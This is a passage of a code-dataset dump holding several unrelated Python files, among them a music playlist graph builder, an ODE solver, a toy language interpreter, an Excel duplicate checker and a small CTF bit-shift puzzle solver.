genre_key,\n song_key,\n MelonGraph.Relation.GENRE_TO_SONG,\n ))\n\n for artist_key in artist_keys:\n artist_genre_key = (\n MelonGraph.NodeType.ARTIST_GENRE, (artist_key[1], genre_key[1]))\n raw_nodes.append((artist_genre_key[0], artist_genre_key[1], {}))\n raw_edges.append((\n song_key,\n artist_genre_key,\n MelonGraph.Relation.ARTIST_GENRE_TO_SONG,\n ))\n raw_edges.append((\n artist_genre_key,\n song_key,\n MelonGraph.Relation.SONG_TO_ARTIST_DETAILED_GENRE,\n ))\n\n issue_date = song['issue_date']\n year = int(issue_date[0:4])\n month = int(issue_date[4:6])\n if year > 0:\n year_key = (MelonGraph.NodeType.YEAR, year)\n raw_edges.append((\n song_key,\n year_key,\n MelonGraph.Relation.SONG_TO_YEAR,\n ))\n raw_edges.append((\n year_key,\n song_key,\n MelonGraph.Relation.YEAR_TO_SONG,\n ))\n if month > 0:\n month_key = (MelonGraph.NodeType.MONTH, month)\n raw_edges.append((\n song_key,\n month_key,\n MelonGraph.Relation.SONG_TO_MONTH,\n ))\n raw_edges.append((\n month_key,\n song_key,\n MelonGraph.Relation.MONTH_TO_SONG,\n ))\n\n pbar.update()\n\n return raw_nodes, raw_edges\n\n def _parse_playlists(self, playlists, pbar):\n raw_nodes = []\n raw_edges = []\n\n for playlist in playlists:\n playlist_key = (MelonGraph.NodeType.PLAYLIST, playlist['id'])\n raw_nodes.append((MelonGraph.NodeType.PLAYLIST, playlist['id'], {\n 'name': playlist['plylst_title'],\n 'like_count': playlist['like_cnt'],\n 'update_date': playlist['updt_date'],\n }))\n\n for tag in playlist['tags']:\n tag_key = (MelonGraph.NodeType.TAG, tag)\n raw_nodes.append((MelonGraph.NodeType.TAG, tag, {}))\n raw_edges.append((\n playlist_key,\n tag_key,\n MelonGraph.Relation.PLAYLIST_TO_TAG,\n ))\n raw_edges.append((\n tag_key,\n playlist_key,\n MelonGraph.Relation.TAG_TO_PLAYLIST,\n ))\n\n for word in get_words(tag):\n word_key = (MelonGraph.NodeType.WORD, word)\n raw_nodes.append((MelonGraph.NodeType.WORD, word, {}))\n raw_edges.append((\n tag_key,\n word_key,\n MelonGraph.Relation.TAG_TO_WORD,\n ))\n raw_edges.append((\n word_key,\n tag_key,\n MelonGraph.Relation.WORD_TO_TAG,\n ))\n\n for song_id in playlist['songs']:\n song_key = (MelonGraph.NodeType.SONG, song_id)\n raw_edges.append((\n playlist_key,\n song_key,\n MelonGraph.Relation.PLAYLIST_TO_SONG,\n ))\n raw_edges.append((\n song_key,\n playlist_key,\n MelonGraph.Relation.SONG_TO_PLAYLIST,\n ))\n\n for word in get_words(playlist['plylst_title']):\n word_key = (MelonGraph.NodeType.WORD, word)\n raw_nodes.append((MelonGraph.NodeType.WORD, word, {}))\n raw_edges.append((\n playlist_key,\n word_key,\n MelonGraph.Relation.PLAYLIST_TO_WORD,\n ))\n raw_edges.append((\n word_key,\n playlist_key,\n MelonGraph.Relation.WORD_TO_PLAYLIST,\n ))\n\n pbar.update()\n\n return raw_nodes, raw_edges\n\n def _create_graph(self, raw_nodes, raw_edges, verbose=True):\n if verbose:\n total = len(raw_nodes) + len(raw_edges)\n pbar = tqdm(desc=\"Creating graph\", total=total)\n else:\n pbar = TqdmDummy()\n\n with pbar:\n graph = Graph()\n self._add_nodes(graph, raw_nodes, pbar)\n self._add_edges(graph, raw_edges, pbar)\n\n return graph\n\n def _add_nodes(self, graph, raw_nodes, pbar):\n node_keys = set()\n for raw_node in raw_nodes:\n node_type, node_id, data = raw_node\n\n node_key = (node_type, node_id)\n if node_key in node_keys:\n pbar.update()\n continue\n\n node_keys.add(node_key)\n\n node = Node(node_type, node_id, data)\n graph.add_node(node)\n\n pbar.update()\n\n def _add_edges(self, graph, raw_edges, pbar):\n node_key_index = {}\n for index, node in enumerate(graph.nodes):\n node_key = (node.type, node.id)\n node_key_index[node_key] = index\n\n def __has_node_index(node_type, node_id):\n node_key = (node_type, node_id)\n return node_key in node_key_index\n\n def __get_node_index(node_type, node_id):\n node_key = (node_type, node_id)\n return node_key_index[node_key]\n\n def __add_node(node):\n node_key = (node.type, node.id)\n node_index = len(graph.nodes)\n graph.add_node(node)\n node_key_index[node_key] = node_index\n return node_index\n\n edge_keys = set()\n for raw_edge in raw_edges:\n src, dst, relation = raw_edge\n\n edge_key = raw_edge\n if edge_key in edge_keys:\n pbar.update()\n continue\n\n edge_keys.add(edge_key)\n\n if __has_node_index(src[0], src[1]):\n src_index = __get_node_index(src[0], src[1])\n else:\n src_index = __add_node(Node(src[0], src[1], {}))\n\n if __has_node_index(dst[0], dst[1]):\n dst_index = __get_node_index(dst[0], dst[1])\n else:\n dst_index = __add_node(Node(dst[0], dst[1], {}))\n\n edge = Edge(src_index, dst_index, relation)\n graph.add_edge(edge)\n\n pbar.update()\n","sub_path":"graph/lib/grape/melon_graph/melon_graph_builder.py","file_name":"melon_graph_builder.py","file_ext":"py","file_size_in_byte":12722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"547163505","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef f2prime(x):\n\t'''\n\tExplicitly define the second order ODE function\n\t'''\n\treturn 6*x\n\ndef euler2(n,x0,xf,y0,z0):\n\t'''\n\tTakes the following arguments:\n\tn: number of iterations\n\tx0: initial condition for x\n\txf: Upper limit\n\ty0: Inital condition for y\n\tz0: Inital condition for for the first derivative dy/dx\n\t'''\n\th = (xf - x0)/(n-1)\n\tx = []\n\ty = []\n\tz = []\n\twhile x0 <= xf:\n\t\tz0 += h*f2prime(x0)\n\t\ty0 += h*z0\n\t\tx0 += h\n\t\tx.append(x0)\n\t\ty.append(y0)\n\t\tz.append(z0)\n\treturn x,y,z\n\nx,y,z = euler2(101,-1,10,-11,-6)\n\nplt.subplot(1,2,1)\nplt.xlabel(\"x\")\nplt.ylabel(\"y\")\nplt.plot(x,y)\n\nplt.subplot(1,2,2)\nplt.xlabel(\"x\")\nplt.ylabel(r\"$dy/dx$\")\nplt.plot(x,z)\n\nplt.show()","sub_path":"7. Euler's Method for 2nd Order ODE/euler2.py","file_name":"euler2.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"352853806","text":"import csv\nimport pandas as pd\nfrom sklearn import preprocessing\nimport numpy as np\n\nfname = \"datasets/wordnet/raw/valid.cfacts\"\t#dataset file name. Since wordnet is tabseperated file.\n\nfacts = [] #place where the data after file parsing would be stored\n\n#file is in tab seperated formated\nwith open(fname) as tsv:\n\treader = csv.reader(tsv, dialect='excel', delimiter='\\t')\n\tfor row in reader:\n\t\tfacts.append(row)\n\n\ndef label_one_hot_encoder(facts):\n\t#preprocesssing for converting the data into a one hot encoded format\n\tfacts = np.array(facts)\n\tfacts = np.delete(facts, [0], axis=1)\n\tfacts = facts.transpose()\n\tle = preprocessing.LabelEncoder()\n\n\n\tle.fit(facts.flatten())\n\n\tfacts[0] = le.transform(facts[0])\n\tfacts[1] = le.transform(facts[1])\n\tfacts[2] = le.transform(facts[2])\n\n\tents = np.concatenate([facts[1],facts[2]])\n\tentites = [[ent] for ent in ents]\n\tenc = preprocessing.OneHotEncoder()\n\tenc.fit(entites)\n\t''' \n\t\t[[rel1,rel1,rel2,rel3,rel1]\n\t\t[1234,1256,123,567]\n\t\t[123,4563,46554,234]]\n\n\t\trel1(1234,123)\n\t\trel1(1256,4563)\n\t\t1234,1256 ... are all label encoded; Not one hot\n\n\n\t'''\n\treturn le,enc,len(list(set(ents))),facts\n\n# print label_one_hot_encoder(facts)\n\n\n# #preprocesssing for converting the data into a one hot encoded format\n# facts = np.array(facts)\n# facts = np.delete(facts, [0], axis=1)\n# facts = facts.transpose()\n# le = preprocessing.LabelEncoder()\n# facts[0] = le.fit_transform(facts[0])\n# facts[1] = le.fit_transform(facts[1])\n# facts[2] = le.fit_transform(facts[2])\n\n# ents = np.concatenate([facts[1],facts[2]])\n# entites = [[ent] for ent in ents]\n# enc = preprocessing.OneHotEncoder()\n# enc.fit(entites)\n\n# facts[1] = [enc.transform(fact).toarray()[0] for fact in facts[1]]\n# facts[2] = [enc.transform(fact) for fact in facts[2]]\n\n# facts_row_1 = [enc.transform(x) for x in facts[1]]\n# facts_row_2 = [enc.transform(x) for x in facts[2]]\n# data = [facts[0],facts_row_1,facts_row_2]\n# data = np.array(data)\n# data = data.transpose() #th\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"dataset_reader.py","file_name":"dataset_reader.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"208770505","text":"import datetime\nimport time\nfrom datetime import timedelta\nimport re\n\ndef get_date_from_arg(arg):\n if re.search('^(?:[0-9]{2})?[0-9]{2}/[0-1]?[0-9]/[0-3]?[0-9]$', arg):\n aux = arg.split('/')\n try:\n d = datetime.date(int(aux[0]), int(aux[1]), int(aux[2]))\n return d\n except ValueError:\n raise Exception(arg+' is not a valid date')\n else:\n raise Exception('Please provide a date with the format yyyy/mm/dd '+arg)\n\n\"\"\"\nThis method returns the number of seconds from epoch start (1970-1-1) to @date\n\"\"\"\ndef get_seconds_from_date(date):\n return int((date-datetime.date(1970,1,1)).total_seconds())\n\n\"\"\"\nThis method returns an array containing all the dates between @start_date and @end_date\n\"\"\"\ndef get_dates_from_range(start_date, end_date):\n dates = []\n start_seconds = get_seconds_from_date(start_date)\n end_seconds = get_seconds_from_date(end_date)\n seconds_in_day = 24*3600\n while start_seconds <= end_seconds:\n time_tuple = time.gmtime(start_seconds)\n dates.append(datetime.datetime.fromtimestamp(time.mktime(time_tuple)))\n start_seconds += seconds_in_day\n return dates\n\ndef is_date_from_current_month(date):\n today = datetime.datetime.today() \n return today.year == date.year and today.month == date.month\n\ndef are_dates_from_different_months(first_date, second_date):\n return first_date.month != second_date.month\n\ndef get_previous_date(date):\n return date-timedelta(days=1)","sub_path":"date_helper.py","file_name":"date_helper.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"91361531","text":"#flag{EMMMMITISSIMPLERIGHT?}\nimport pwn\nimport re\n\nIP = \"140.138.77.30\"\nPORT = \"6004\"\n\n\ndef Line():\n return conn.recvline().decode('ascii')\n\n\nconn = pwn.process([\"nc\", IP, PORT])\nconn.recvuntil(b'fffff\\n')\n\nfor i in range(22):\n L = Line()\n print(i + 1, L, end='')\n m = re.search(r'(0x[\\w\\d]+), (\\d+)', L)\n num = int(m.group(1), 16)\n amt = int(m.group(2))\n ans = num >> amt\n fin = '0x{:08x}'.format(ans)\n print(\"{} : {:032b}\".format(m.group(1), num))\n print(\"{} : {:032b}\".format(fin, ans))\n conn.sendline(fin)\nprint(Line())\n","sub_path":"python/CTF[06][Shifting].py","file_name":"CTF[06][Shifting].py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"318651402","text":"from .commandbase import CommandBase\nfrom util.messagebuilder import MessageBuilder\nimport database.database as database\n\n\nclass Language(CommandBase):\n def help(self):\n return {\n 'args': '',\n 'desc': _('Changes displayed language that the bot will use to communicate to you.'),\n 'more_info': _('Supported languages: ') + ', '.join(self.languages.keys())\n }\n\n languages = None\n\n def setup(self):\n from main import Languages\n self.languages = Languages\n\n def parse(self, args, event, user):\n msg = MessageBuilder()\n if len(args) > 1:\n lg = args[1].lower()\n if lg in self.languages:\n user_lang = user.lang\n user.lang = lg\n database.update()\n self.languages[lg].install()\n msg.append_text(_('Set language from {0} to {1}').format(user_lang, lg))\n else:\n msg.append_text(_('Language not supported.'))\n else:\n msg.append_text(_('Insufficient arguments.'))\n return msg.msg\n","sub_path":"commands/language.py","file_name":"language.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"430254760","text":"from sklearn.naive_bayes import MultinomialNB\nimport numpy as np\n\n__all__ = ['MultinomialNB2']\n\nclass MultinomialNB2(MultinomialNB):\n \"\"\"\n smoothing factor for a class is alpha*raw_event_count\n \"\"\"\n def _update_feature_log_prob(self):\n \"\"\"Apply smoothing to raw counts and recompute log probabilities\"\"\"\n smoothed_fc = self.feature_count_ + self.alpha*self.class_count_[:, np.newaxis]\n smoothed_cc = smoothed_fc.sum(axis=1)\n\n self.feature_log_prob_ = (np.log(smoothed_fc) -\n np.log(smoothed_cc.reshape(-1, 1)))","sub_path":"datatrek/sklearn_addon/naive_bayes.py","file_name":"naive_bayes.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"250562576","text":"\"\"\" PM Lab Assignment \n Design a New Language \" R o S h \"\n \n Submitted by -\n ADARSH KUMAR JAIN\n ROHIT DEEGWAL\n\"\"\"\n\nimport time\n\n\ndef isdatatype(s):\n if( s==\"int\" or s==\"float\" or s==\"string\" or s==\"void\"):\n return True\n else:\n return False\n\ndef isoperator(s):\n if( s==\"+\" or s==\"-\" or s==\"*\" or s==\"/\" or s==\"%\" ):\n return True;\n else:\n return False;\n\ndef isassgop(s):\n if( s==\"+=\" or s==\"-=\" or s==\"*=\" or s==\"/=\" or s==\"%=\" or s==\"=\" ):\n return True\n else:\n return False\n \ndef isrelationalop(s):\n if( s==\">\" or s==\">=\" or s==\"<\" or s==\"<=\" or s==\"==\" or s==\"!=\" ):\n return True\n else:\n return False\n\ndef eval_expr(j,p,g,datatype,value):\n global error\n var = p[j-1]\n expr=\"\"\n j=j+1\n while( j1 and p[-2] == '#' and p[-1] == '>' ):\n flag = False\n pq+=1\n else: \n pq+=1\n continue\n \n if(function_flag == True):\n if(lines.index(t,start_fun) != end_fun):\n continue\n else:\n function_flag = False\n continue\n \n '''if( p[0].isidentifier() and p[1].isidentifier() ):\n if( not isdatatype(p[0]) ):\n fp.write(str(lines.index(t)+1)+\": '\"+p[0]+\"' must be a DATATYPE\\n\")\n print(str(lines.index(t)+1)+\": '\"+p[0]+\"' must be a DATATYPE\")\n error = error+1'''\n \n if( \"readInt\" in p or \"readFloat\" in p or \"readString\" in p ):\n if(class_flag == True):\n user_input(t,pq,class_type,class_value)\n else:\n user_input(t,pq,global_type,global_value)\n \n elif( isdatatype(p[0]) and '(' in p and ')' in p ):\n start_fun = lines.index('{',pq)\n end_fun = lines.index('}',start_fun+1)\n function_flag=True\n function_index[p[1]] = [start_fun, end_fun]\n pq+= end_fun-start_fun+1\n \n elif( isdatatype(p[0]) ):\n if(class_flag == True):\n check_declaration(t,pq+1,class_type,class_value)\n else:\n check_declaration(t,pq+1,global_type,global_value)\n \n elif( p[0] == '-' and p[1] == '-' ):\n pq=pq+1\n continue\n \n elif( p[0] == '<' and p[1] == '#' ):\n pq=pq+1\n flag = True\n continue\n \n elif( p[0]=='class' or (p[0]=='struct' and p[-1]!=';')):\n class_flag = True\n class_name = p[1]\n class_type = {}\n class_value = {}\n \n elif( 'new' in p ):\n class_object[p[0]] = p[3]\n \n elif( 'struct' in p ):\n class_object[p[2]] = p[1]\n \n elif( p[0] == \"{\" and len(p)==1 ):\n bracket = bracket+1\n pq+=1\n continue\n \n elif( p[0] == \"}\" ):\n bracket = bracket-1\n class_flag = False\n all_class[class_name] = {}\n all_class[class_name]['type'] = class_type\n all_class[class_name]['value'] = class_value\n print(all_class.get(class_name).get('type'))\n pq+=1\n continue\n \n elif( p[0] == \"print\" ):\n if(class_flag == True):\n check_print(t,pq,class_type,class_value)\n elif('.' in p):\n zp = p.index('.')\n class_of_object = class_object.get(p[zp-1])\n temp_type = all_class.get(class_of_object).get('type')\n temp_value = all_class.get(class_of_object).get('value').get(p[zp-1])\n check_print(t,pq,temp_type,temp_value)\n else:\n check_print(t,pq,global_type,global_value)\n \n else:\n if(class_flag == True):\n check_expr(t,pq+1,class_type,class_value)\n elif( p[1]=='.' ):\n if( p[3]=='(' and p[4]==')' ):\n fun_start,fun_end = function_index.get(p[2])\n while(fun_start < fun_end-1):\n fun_start+=1\n check_print(lines[fun_start], fun_start, {}, {})\n else: \n class_of_object = class_object.get(p[0])\n temp_type = all_class.get(class_of_object).get('type')\n tempr_value = all_class.get(class_of_object).get('value')\n if(tempr_value.get(p[0]) == None):\n tempr_value[p[0]] = {}\n temp_value = tempr_value.get(p[0])\n check_expr(t,pq+1,temp_type,temp_value)\n else:\n check_expr(t,pq+1,global_type,global_value)\n \n pq=pq+1\n \n if(bracket != 0 ):\n fp.write(\"Unmatched curly brackets found\\n\")\n error = error +1\n \n fp.write(\"\\n\\n\")\n fp.write(str(global_type))\n fp.write(\"\\n\")\n fp.write(str(global_value))\n end_time = time.clock()\n input_time = sum(time_list)\n run_time = end_time - start_time - input_time\n print(\"Time in execution is {0:5.3f} mili seconds\".format(run_time*1000))\n print(\"\\n\\n\\n\")\n print(\"Global Scope:\")\n print(global_type)\n print(global_value)\n print(\"Function scope\")\n print(function_index)\n print(\"Detailed information about class:\")\n print(all_class)\n print(\"Information about object: \")\n print(class_object) \n fp.write(\"Detailed information about class:\\n\")\n fp.write(str(all_class))\n fp.write(\"\\n\\nInformation about object:\\n\")\n fp.write(str(class_object)) \n fp.close()","sub_path":"Rosh_new.py","file_name":"Rosh_new.py","file_ext":"py","file_size_in_byte":21950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"628144817","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 14 13:02:42 2021\n\n@author: Sicco\nEvents file\n\"\"\"\n\nimport numpy as np\nimport copy\nimport random\n\n\ndef utility_func(fitness_data ):\n utility = np.mean(fitness_data)\n\n return utility\n\n\ndef initialize_pop(input, pop_size):\n vars = np.zeros(( pop_size, len(input)))\n\n for idx, var in enumerate(input):\n if var == \"mutation_baseline\":\n vars[:,idx] = np.random.uniform(0, 1, pop_size)\n elif var == \"mutation_multiplier\":\n vars[:,idx] = np.random.uniform(0, 1, pop_size)\n elif var == \"survival number\":\n vars[:,idx] = np.random.uniform(0, 1, pop_size)\n\n return vars\n\ndef rescale_DNA(DNA):\n output = DNA\n\n output[:,0] = output[:,2]*0.3\n\n output[:,2] = output[:,2]*6\n output[:,2] = output[:,2].astype(int)\n\n return output\n\n# uniform crossover (no position bias)\ndef crossover(p1, p2):\n length = len(p1)\n crossing_index = np.random.randint(2, size=length)\n c1 = p1 * crossing_index + p2 * (1 - crossing_index)\n c2 = p1 * (1 - crossing_index) + p2 * crossing_index\n\n return c1, c2\n\n\n# mutate a chromosome based on the mutation rate: the chance that a gene mutates\n# and sigma: the average size of the mutation (taken from normal distribution)\ndef mutation(DNA, mutation_rate, sigma, m_b, m_m):\n length = len(DNA)\n\n # standard point mutations\n mutation_index = np.random.uniform(0, 1, length) < m_b + m_m * mutation_rate\n mutation_size = np.random.normal(0, 0.5 * sigma ** 2 + 0.1, length)\n c1 = DNA + mutation_index * mutation_size\n\n # deletions (rare)\n if np.random.uniform(0, 1) < m_m * mutation_rate:\n mutation_index = np.random.uniform(0, 1, length) < m_b + m_m * mutation_rate\n c1 = c1 * (mutation_index == False) + mutation_index * np.random.uniform(-1, 1, length)\n\n # insertions (rare)\n if np.random.uniform(0, 1) < m_m * mutation_rate:\n mutation_index = np.random.uniform(0, 1, length) < m_b + m_m * mutation_rate\n c1 = c1 * (mutation_index == False) + random.randint(2, 5) * c1 * mutation_index\n\n return c1\n\n\ndef get_children(parents, surviving_players, utility, mutation_base, mutation_multiplier):\n children = copy.deepcopy(parents)\n\n # change all utility <0 to 0\n utility = np.array(utility)\n utility = utility + np.min(utility) +200\n utility = utility/np.max(utility)*100\n if not len(surviving_players) == len(utility):\n # pick parents based on utility (utility = weigth)\n parents_index = np.arange(0, len(parents), dtype=int)\n p1 = random.choices(parents_index, weights=utility, k=len(parents_index) - len(surviving_players))\n p2 = random.choices(parents_index, weights=utility, k=len(parents_index) - len(surviving_players))\n\n if len(surviving_players) > 0:\n p1 = np.hstack((surviving_players, p1))\n p2 = np.hstack((surviving_players, p2))\n\n else:\n p1 = surviving_players\n p2 = surviving_players\n\n # iterate to make children\n for i in range(len(parents)):\n # crossover the genes of parents and random choose a child\n child = random.choice(crossover(parents[p1[i]], parents[p2[i]]))\n\n # mutate based on parents utility\n mutation_rate = 1 - 0.5 * (utility[p1[i]] + utility[p2[i]]) / (np.max(utility) + 1)\n sigma = 1 - 0.5 * (utility[p1[i]] + utility[p2[i]]) / (np.max(utility) + 1)\n child = mutation(child, mutation_rate, sigma, mutation_base, mutation_multiplier)\n\n # normalize between min-max\n minimum = 0\n maximum = 1\n for j in range(len(child)):\n if child[j] < minimum:\n child[j] = minimum\n elif child[j] > maximum:\n child[j] = maximum\n # child = (maximum-minimum)*(child-child.min())/(child.max()-child.min())+minimum\n children[i] = child\n return children\n","sub_path":"generalist/meta_bio_functions.py","file_name":"meta_bio_functions.py","file_ext":"py","file_size_in_byte":3903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"466452563","text":"# # Started by Gregory Power at 11/06/19 @ 4:27 PM\n# # Basic Functionality Achieved on 11/12/19\n# # Able to Print Indexes on 11/19/19\n# # Able to Search for ServiceID or Address + ServiceType Duplicates on 12/11/19 at 4:42 PM\n# For Environment, use Python 3.6.0\n# Working Tree Change\n\n# We need to find duplicates that exist, there is one in the master sheet at the bottom of the most recent sheet.\n\n\nimport xlrd\nimport xlwt\nimport xlutils # Module Requires both XLRD & XLWT to be imported.\nimport pandas as pd\nimport numpy as np\n\n# =======================================================\n# =======================================================\n\n# The current_sheet variable needs to be named the sheet you want to check for Duplicate (Service Types &Addresses) OR duplicate (ServiceIDs).\n\ncurrent_sheet = 'C:/Users/SEM/Documents/Invoicing/9-30-21.xlsx'\n\nlarge_sheet = '//192.168.18.3/public/SEM/Building Science Team/Accounting/Invoicing Spreadsheets/2021 Inspections Billing.xlsx'\n\n# =======================================================\n# =======================================================\n# =======================================================\n# =======================================================\n# =======================================================\n\n# Find Master Sheet\n\nworkbook = xlrd.open_workbook(large_sheet)\npd.read_excel(large_sheet)\n\n\n# Start of Address + Service Type Duplicate Section\n\n\n# Find All of the Sheets in the Workbook\n# Combine all sheets of Master Sheet into a single list of lists.\n\ndf_master_Street_Address_And_Service = pd.concat(pd.read_excel(large_sheet, sheet_name=None, usecols=[1, 11], skiprows=0), sort=False, ignore_index=False)\n\n# print(df_master_Street_Address_And_Service)\n\n# Read all of the sheets, using just the columns that have Street Address and the Service.\n\ndf_current_sheet_Street_Address_And_Service = pd.concat(pd.read_excel(current_sheet, sheet_name=None, usecols=[1, 11], skiprows=0), sort=False, ignore_index=False)\n\n# print(df_current_sheet_Street_Address_And_Service)\n\n# First Have to make them into a list of lists (https://stackoverflow.com/questions/22341271/get-list-from-pandas-dataframe-column)\n\nser_aggRows = pd.Series(df_master_Street_Address_And_Service.values.tolist())\n\n\n# print('Printing: ser_aggRows (This collapses each row in Excel into a row this script can read.)',ser_aggRows, sep='\\n', end='\\n\\nWe have finished organizing the rows of the Master Workbook\\'s sheets into lists.\\n\\n\\n')\n\nser_aggRows_current_sheet = pd.Series(df_current_sheet_Street_Address_And_Service.values.tolist())\n\n# print('Printing: ser_aggRows_current_sheet (This collapses each row in Excel into a row this script can read.)',ser_aggRows_current_sheet, sep='\\n', end='\\n\\nWe have finished organizing the rows of the Current Workbook\\'s sheets into lists.\\n\\n')\n\nfirst_set = set(map(tuple, ser_aggRows))\nsecnd_set = set(map(tuple, ser_aggRows_current_sheet))\nsecond_set_storage = (map(tuple, ser_aggRows_current_sheet))\n\n\nduplicates = first_set.intersection(secnd_set)\n\nif len(duplicates) > 0:\n print(\"\\n\\nAddress and Service Type duplicates are: \\n==========================================================================\", duplicates, sep=\"\\n\", end=\"\\n==========================================================================\\nPlease use the list of Address and Service type pair(s) above to find the Address + Service Type duplicates.\\n==========================================================================\\n\")\nelse: \n print(\"\\n==========================================================================\\nThere are no Address + Service Type duplicates!\\n==========================================================================\\n\")\n\n# Duplicates_list converts the duplicates (an object type: set, with tuples inside it, to a list of lists again)\n\nduplicates_list = list(map(list, duplicates))\n\nsecnd_set_list = list(map(list, second_set_storage))\n\n# print(duplicates_list)\n# print(\"The Length of the Second Set List: \" + str(len(secnd_set_list)))\n# print(\"The Length of the Aggrows Sheet: \" + str(len(ser_aggRows_current_sheet)))\n\n\nk = 0\nExcel_Indexes = []\nwhile k < len(duplicates_list):\n # print(secnd_set_list.index(duplicates_list[k]))\n Excel_Indexes.append(int(2) + int(secnd_set_list.index(duplicates_list[k])))\n k += 1\nelse:\n Excel_Indexes.sort()\n print(\"\\nWe are done. Look to the following rows in Excel for Address + Service Type duplicates: \\n\", Excel_Indexes, sep=\"\\n\")\n\n# End of Address + Service Type Duplicate Section\n\n# Start of Service ID Section\n\n# Master Sheet\n\ndf_master_ServiceID = pd.concat(pd.read_excel(large_sheet, sheet_name=None, usecols=[7], skiprows=0), sort=False, ignore_index=False, join=\"outer\")\n\ndf_master_ServiceID.fillna(0, inplace = True)\n\n# Current Sheet\n\ndf_current_sheet_ServiceID = pd.concat(pd.read_excel(current_sheet, sheet_name=None, usecols=[7], skiprows=0), sort=False, ignore_index=False)\n\ndf_master_serviceID = df_master_ServiceID.astype(int)\n\n# Master Sheet\n\nser_aggRows_master_ServiceID = pd.Series(df_master_ServiceID.values.tolist())\n\n# print(ser_aggRows_master_ServiceID)\n\n#Current Sheet\nser_aggRows_current_sheet_ServiceID = pd.Series(df_current_sheet_ServiceID.values.tolist())\n\n# print(ser_aggRows_current_sheet_ServiceID)\n\n# Master Sheet\nfirst_set_ServiceID = set(map(tuple, ser_aggRows_master_ServiceID))\n\n# print(first_set_ServiceID)\n\nsecnd_set_ServiceID = set(map(tuple, ser_aggRows_current_sheet_ServiceID))\n\n# print(secnd_set_ServiceID)\n\nsecond_set_storage_ServiceID = (map(tuple, ser_aggRows_current_sheet_ServiceID))\n\nduplicates_ServiceID = first_set_ServiceID.intersection(secnd_set_ServiceID)\n\nduplicates_list_ServiceID_Duplicates = list(map(list, duplicates_ServiceID))\n\nsecnd_set_list_ServiceID_Duplicates = list(map(list, second_set_storage_ServiceID))\n\nif len(duplicates_ServiceID) > 0:\n print(\"\\nDuplicates for ServiceID Condition are: \\n==========================================================================\", duplicates_ServiceID, sep=\"\\n\", end=\"\\n==========================================================================\\nPlease use the list of ServiceIDs above to find the duplicate ServiceIDs.\\n\")\nelse: \n print(\"\\n==========================================================================\\nThere are no ServiceID duplicates!\\n==========================================================================\\n\")\n\n\nq = 0\nExcel_Indexes_for_ServiceID_Duplicates = []\nwhile q < len(duplicates_list_ServiceID_Duplicates):\n # print(secnd_set_list_Address_Service_Duplicates.index(duplicates_list_ServiceID_Duplicates[q]))\n Excel_Indexes_for_ServiceID_Duplicates.append(int(2) + int(secnd_set_list_ServiceID_Duplicates.index(duplicates_list_ServiceID_Duplicates[q])))\n q += 1\nelse:\n Excel_Indexes_for_ServiceID_Duplicates.sort()\n print(\"\\nWe are done. Look to the following rows in Excel for Service ID Duplicates: \\n\", Excel_Indexes_for_ServiceID_Duplicates)\n\n# End of Service ID Section;\n","sub_path":"duplicate_printer.py","file_name":"duplicate_printer.py","file_ext":"py","file_size_in_byte":6979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"392911885","text":"#coding:utf-8\nfrom urls import urls\nimport tornado.web\nimport os\n\nSETTINGS = dict(\ntemplate_path=os.path.join(os.path.dirname(__file__), \"templates\"),\nstatic_path=os.path.join(os.path.dirname(__file__), \"templates\"),\n)\n\napplication = tornado.web.Application(\n handlers = urls,\n **SETTINGS\n)\n","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"122611456","text":"from os import system\n\ndef main():\n ps_cmd = \"ps -ef | grep \"+ \"\\\"\" + \"crawler\\.py\" + \"\\\"\" # shell command which querys the correspond process\n run_cmd = \"./crawler.py\" # shell command which run the python script\n while True:\n status = system(ps_cmd) # get the return value of ps_cmd\n\n # display the return value of ps_cmd, 0 is runninng, 256(value of \"2\" in hexadecimal) is finish\n print(\"the ps_mod return code: %d\" %(status))\n if status == 0: # value 0 is return value of \"ps -ef\" command means that the process is running\n print(\"the process is running currently\")\n else:\n print(\"the process is finish, now we restart it!\")\n system(run_cmd) # restart the program \"crawler.py\"\n\nif __name__ == '__main__':\n main()","sub_path":"PL_crawler/monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"539597649","text":"import lab as B\nfrom plum import add_promotion_rule, conversion_method, isinstance\n\nfrom .constant import Constant, Zero\nfrom .lowrank import LowRank\nfrom .matrix import AbstractMatrix, Dense\n\n__all__ = []\n\nadd_promotion_rule(AbstractMatrix, B.Numeric, AbstractMatrix)\nadd_promotion_rule(AbstractMatrix, AbstractMatrix, AbstractMatrix)\n\n\n@conversion_method(B.Numeric, AbstractMatrix)\ndef convert(x):\n if B.is_scalar(x):\n if isinstance(x, B.Number) and x == 0:\n return Zero(B.dtype(x), 1, 1)\n else:\n return Constant(x, 1, 1)\n else:\n return Dense(x)\n\n\n@conversion_method(Constant, LowRank)\ndef constant_to_lowrank(a):\n dtype = B.dtype(a)\n rows, cols = B.shape_matrix(a)\n middle = B.fill_diag(a.const, 1)\n if rows == cols:\n return 